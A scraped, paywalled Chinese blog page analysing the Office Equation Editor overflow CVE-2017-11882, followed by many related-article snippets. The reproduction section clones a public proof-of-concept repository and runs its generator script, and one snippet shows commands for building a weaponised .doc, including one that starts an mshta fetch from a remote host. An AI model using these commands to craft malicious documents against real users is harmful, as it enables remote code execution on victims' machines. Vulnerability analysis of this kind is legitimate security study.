CVE-2017-11882漏洞分析

最新推荐文章于 2024-08-18 21:23:41 发布
最新推荐文章于 2024-08-18 21:23:41 发布
阅读量2k 收藏 1
点赞数
分类专栏： 技术共享——office漏洞 文章标签： Mr.Kevin
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/baomigongfang/article/details/81270626
版权
本文深入探讨了CVE-2017-11882漏洞，涉及Office的公式编辑器Eqnedit.exe组件。通过分析关键数据结构和漏洞溢出过程，阐述了该漏洞如何导致栈溢出，并提供了漏洞复现和参考文献。利用MTEF格式和Font Record，攻击者可以利用此漏洞修改栈上的返回地址，影响程序执行流程。
摘要由CSDN通过智能技术生成

Mr.Kevin
相关资料及软件在此：链接：https://pan.baidu.com/s/1qi-j3U-O6kH__cLA5O_2JA 密码：hjo1

漏洞复现
POC GitHub：可以使用国外出现的第一份poc：https://github.com/embedi/CVE-2017-11882，不过已经停止更新了。这里我使用：https://github.com/Ridter/CVE-2017-11882。
使用clone或直接下载zip都行：

git clone https://github.com/Ridter/CVE-2017-11882.git

进入项目文件

root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c
最低0.47元/天 解锁文章
北大神棍
关注
专栏目录
cve-2017-11882漏洞分析资料.zip
02-17
《CVE-2017-11882漏洞分析：深入理解OLE技术与安全》 CVE-2017-11882是一个针对Microsoft Office的严重远程代码执行漏洞，它涉及到对象链接和嵌入（OLE）技术。OLE是Windows操作系统中的一种功能，允许不同应用程序...
CVE-2017-11882
weixin_44932880的博客
01-16 1786
CVE-2017-11882 CVE-2017-11882是微软公布的一个远程执行漏洞，office2017具有该漏洞。该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时，在拷贝公式字体名称时没有对名称长度进行校验，从而造成栈缓冲区溢出，是一个非常经典的栈溢出漏洞。 调试环境 windows7_sp1(有这个sp1才能安装vmtools) office 2007 x86 olldbg ida 先ida找到漏洞出现的地方 通过od动态调试查看出拷贝的是一个字符串”T
CVE-2017-11882复现及防御
hl1293348082的专栏
04-01 1913
本文作者：\xeb\xfe，加上之前的文章《一道 CTF 题 get 到的新姿势》完成两篇文章的任务，邀请加入知识星球，欢迎更多的人加入我们，一起交流、一起学习。 最新 Office 的 CVE-2017-11882，完美无弹窗，无视宏，影响 office 全版本。利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。该脚本使用多个 OLE 对象创建简单的文档。这些对象利用 CVE-2017-11882，从而导致连续命令执行。 复现过程 实验环境: win.
十大知名权威安全漏洞库介绍
最新发布
所有成功的背后，都是痛苦的坚持，所有的痛苦，都是傻瓜般的不放弃!
08-18 1330
CVE（Common Vulnerabilities and Exposures）是公开披露的网络安全漏洞列表。IT人员、安全研究人员查阅CVE获取漏洞的详细信息，进而根据漏洞评分确定漏洞解决的优先级。在CVE中，CVE编号是识别漏洞的唯一标识符。
漏洞丨cve2017-11882
m0_64973256的博客
12-21 768
所以我们需要在EQNEDT32.exe中下断点，而不是word里面下断点。可以看到计算器的父进程是cmd，但是cmd的父进程存在PID，但是在列表中却找不到PID为1404的进程，卡顿许久，猜测或许是cmd父进程隐藏了自己或者启动时间太短，启动完自己结束。也就是这里是通过淹没返回地址到WinExec上，然后通过修改字符串控制WinExec的参数，启动cmd打开计算器实现。通过启动cmd，打开了计算器，而之后的的AAAA等都是传给计算器参数，是无效的。
CVE-2017-11882：Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析
CuiXY's Blog
12-29 1193
\x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中，修复了一个 Office 远程代码执行漏洞（缓冲区溢出），编号为 CVE-2017-11882，又称为 “噩梦公式”。该漏洞从修复之日起已经隐藏了 17 年之久，而且通杀目前流行的所有 Office 版本，可见其危害程度。该漏洞位于 Office 的 EQNEDT32.EXE 组件中，该组件的作用是通过 OLE 对象的互操作...
漏洞分析之CVE-2017-11882
airuihuan5211的博客
11-26 340
漏洞分析之 CVE-2017-11882 目录 漏洞分析之 CVE-2017-11882目录☛ 漏洞介绍☛ 漏洞分析☛ 1.漏洞分析环境与工具☛ 2.获取 Poc[点击????]☛ 3.复现漏洞☛ 4.分析漏洞☛ 5.漏洞利用☛ 6.利用漏洞2☛ 总结☛ 参考资料完成时间：2018-10-23 10:24:05 星期二 ☛ 漏洞介绍 安全公司Embedi最早报告了漏洞，其出现在...
浅谈Node.js CVE-2017-14849 漏洞分析（详细步骤）
10-19
【Node.js CVE-2017-14849 漏洞分析】 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时，它提供了高效的事件驱动、非阻塞 I/O 模型，使得开发高性能的网络应用变得简单。Express，则是建立在 Node.js 平台...
hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip
05-20
标题 "hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip" 指向的是一个与海康威视（Hikvision）设备相关的安全漏洞，具体是CVE-2017-7921认证绕过漏洞。这个压缩包可能包含一个工具或指南，用于解析...
CVE-2017-7269-Echo-PoC：CVE-2017-7269回显PoC，用于远程入侵检测。
03-02
我们团队对此次发布CVE-2017-7269漏洞的分析报告： ://ht-sec.org/cve-2017-7269-vulnerabilities/ DefaultPoC只能弹calc.exe ，现在修改成可以响应请求，命令格式为： CVE-2017-7269_remote_echo.py ip_address...
Office远程代码执行漏洞（CVE-2017-11882）漏洞复现
大河之犬的博客
06-26 1973
CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码，导致无法正确处理内存中的对象，即为“ Microsoft Office Memory Corruption Vulnerability “，栈溢出的远程执行漏洞。它的功能是打开office文本的同时能够弹出计算机程序，本实验通过此文本验证目标靶机上是否存在Office远程代码执行漏洞（CVE-2017-11882）漏洞。可以看到以下变化：ftp服务器启动。在靶机桌面上可以看到上步ftp上传的文件的文件，双击打开此文件，即可建立连接了。
CVE-2017-12615利用脚本
04-16
CVE-2017-12615利用脚本；tomcat服务器PUT上传导致命令执行。
CVE-2017-11882：CVE-2017-11882（通杀Office 2003到2016）
03-04
CVE-2017-11882概述 从突破利用效果来看，它可以通杀Office 2003到2016的所有版本，并且整个攻击环境的内置非常简单。此突破是由Office软件里面的[公式编辑器]造成的，由于编辑器进程没有对举个例子，如果黑客利用这个漏洞，构造带有外壳后门的office文件，当普通用户打开这个office文件，则电脑可以被黑客直接控制。 影响版本： office 2003 office 2007 office 2010 office 2013 office 2016 用法 python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 点击生成的“ test.doc”，顺利投放计算机工具。 python Command_CVE-2017-11882.py -c "mshta http://192.
CVE-2017-11882分析和白象样本分析
weixin_45880501的博客
05-04 749
CVE-2017-11882是微软公布的一个远程代码执行漏洞，漏洞是由模块EQNEDT32.EXE公式编辑器引起，该模块在Office的安装过程中被默认安装，该模块以OLE技术（Object Linking and Embedding，对象链接与嵌入）将公式嵌入在Office文档内。
【Windows】CVE-2017-11882漏洞利用
古月浪子的博客
02-09 3076
CVE-2017-11882是一个Office的漏洞，虽然该漏洞已经有补丁了，且杀毒软件也能查出利用了该漏洞的恶意文档，但是学习和复现该漏洞仍是一项令人受益颇多的过程 为了复现该漏洞，我们需要准备Office2016及以前的版本，这里我选择的是2016版本 利用漏洞的主要手段是，依靠公式编辑器中的缓冲区溢出执行短长度命令行以及Office自动在TEMP目录下临时释放附件的特性，达到执行任意代码的效果 导致漏洞的罪魁祸首就是一个叫EQNEDT32.EXE的程序，该文件的位置可以用任务管理器查看进程文件来定位
陈年老洞CVE-2017-11882漏洞分析
WLINX
03-16 859
目录 漏洞简介 影响版本 Office基础 漏洞分析 获取POC 漏洞演示 漏洞定位 漏洞分析 漏洞简介 2017年11月14日，微软发布了11月份的安全补丁更新，其中比较引人关注的莫过于悄然修复了长达17年的Office远程代码执行（CVE-2017-11882）陈年老洞。该漏洞属于缓冲区溢出类型漏洞，影响目前流行的所有Office版本，产生漏洞原因于EQNEDT32.EXE...
CVE-2017-12149漏洞分析
05-30
CVE-2017-12149是JBOSS应用服务器中的一个远程代码执行漏洞。JBOSS是一款Java EE应用服务器，该漏洞允许攻击者通过HTTP请求发送恶意的序列化对象，从而在目标服务器上执行任意代码。 这个漏洞的原因在于JBOSS中的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值